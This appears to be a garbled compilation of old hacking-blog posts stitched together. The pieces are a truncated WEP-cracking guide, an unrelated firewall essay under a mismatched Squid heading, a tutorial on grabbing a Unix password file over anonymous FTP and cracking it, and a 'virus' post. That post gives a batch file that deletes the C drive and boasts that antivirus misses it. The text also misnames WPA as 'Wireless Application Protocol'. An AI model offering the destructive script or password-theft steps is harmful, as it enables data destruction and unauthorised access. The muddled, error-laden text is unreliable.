How to hack wifi networks

Note : Only For Educational Purpose.>!!!

1) First we need to scan for available wireless networks.
Theres this great tool for windows to do this.. called “NetStumbler” or Kismet
for Windows and Linux and KisMac for Mac.

The two most common encryption types are:
1) WEP
2) WAP

WEP i.e Wire Equivalent Privacy is not consideres as safe as WAP i.e Wireless Application Protocol.
WEP have many flaws that allows a hacker to crack a WEP key easily.. whereas WAP is currently the most secure and best option to secure a wi-fi network.. It can’t be easily cracked as WEP because the only way to retreive a WAP key is to use a brute-force attack or dictionary atack. Here I’ll tell you how to Crack WEP

To crack WEP we will be using Live Linux distribution called BackTrack to
crack WEP.
BackTrack have lots of preinstalled softwares for this very purpose..
The tools we will be using on Backtrack are:

Kismet – a wireless network detector

airodump – captures packets from a wireless router

aireplay – forges ARP requests

aircrack – decrypts the WEP keys

1) First of all we have to find a wireless access point along with its bssid, essid and channel number. To do this we will run kismet by opening up the terminal and typing in kismet. It may ask you for the appropriate adapter which in my case is ath0. You can see your device’s name by typing in the command iwconfig.

Transparent Proxies in Squid

With, the extremely uncontrollable growth in the number of Hackers, not only system administrators of servers have

to worry about the security of their system, but even if you are running a standalone PPP Linux box, you simply cannot afford to ignore your system's security.

If your system is the main server which communicates with the external untrusted network called the Internet, or even if you simply use your linux box to connect to your ISP and surf the net through PPP, then you should definitely think about installing a firewall on your system.

The preferable and the best option in this case is to install a commercial firewall. However, this option is not always possible and is more often than not unnecesarry. Buying, installing and configuring a good commercial firewall is not only expensive but most beginners find it pretty formidable. OK, I do not want to go through the hassle of a commercial firewall, what do I do? Well, 'ipchains' hold the key for you.

The Firewalling code in the Linux Kernel chnaged considerably after the release of Kernel 2.2. Since then, a lot of new utilites and features have been added. Amongst these improvements, is a kewl feature called 'ipchains', which is primariarly used for configuring the firewalling rules and other such related details.

Getting the Password File Through FTP

  Getting the Password File Through FTP

 

  Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a
  webpage. First you need learn a little about the password file...

  root:User:d7Bdg:1n2HG2:1127:20:Superuser
  TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
  BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

  This is an example of a regular encrypted password file. The Superuser is the part that gives you root.
  That's the main part of the file.

  root:x:0:1:Superuser:/:
  ftp:x:202:102:Anonymous ftp:/u1/ftp:
  ftpadmin:x:203:102:ftp Administrator:/u1/ftp

  This is another example of a password file, only this one has one little difference, it's shadowed.
  Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

  root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
  daemon:x:1:1:0000-Admin(0000):/:
  bin:x:2:2:0000-Admin(0000):/usr/bin:
  sys:x:3:3:0000-Admin(0000):/:
  adm:x:4:4:0000-Admin(0000):/var/adm:
  lp:x:71:8:0000-lp(0000):/usr/spool/lp:
  smtp:x:0:0:mail daemon user:/:
  uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
  nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
  listen:x:37:4:Network Admin:/usr/net/nls:
  nobody:x:60001:60001:uid no body:/:
  noaccess:x:60002:60002:uid no access:/:
  webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
  pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
  ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

  Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an
  * as well.

  Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

  Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

Learn To Make Dangerous Virus In A Minute

In my previous post i had teach you guysto create virus that disable mouse andVirus to format Hard Disk. In this post i will teach you to make simple yet verypowerful or you can say dangerous computer virus using a batch file. No software is required to make this virus, Notepad is enough for it. The good thingabout this virus is it is not detected by any AntiVirus.

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.
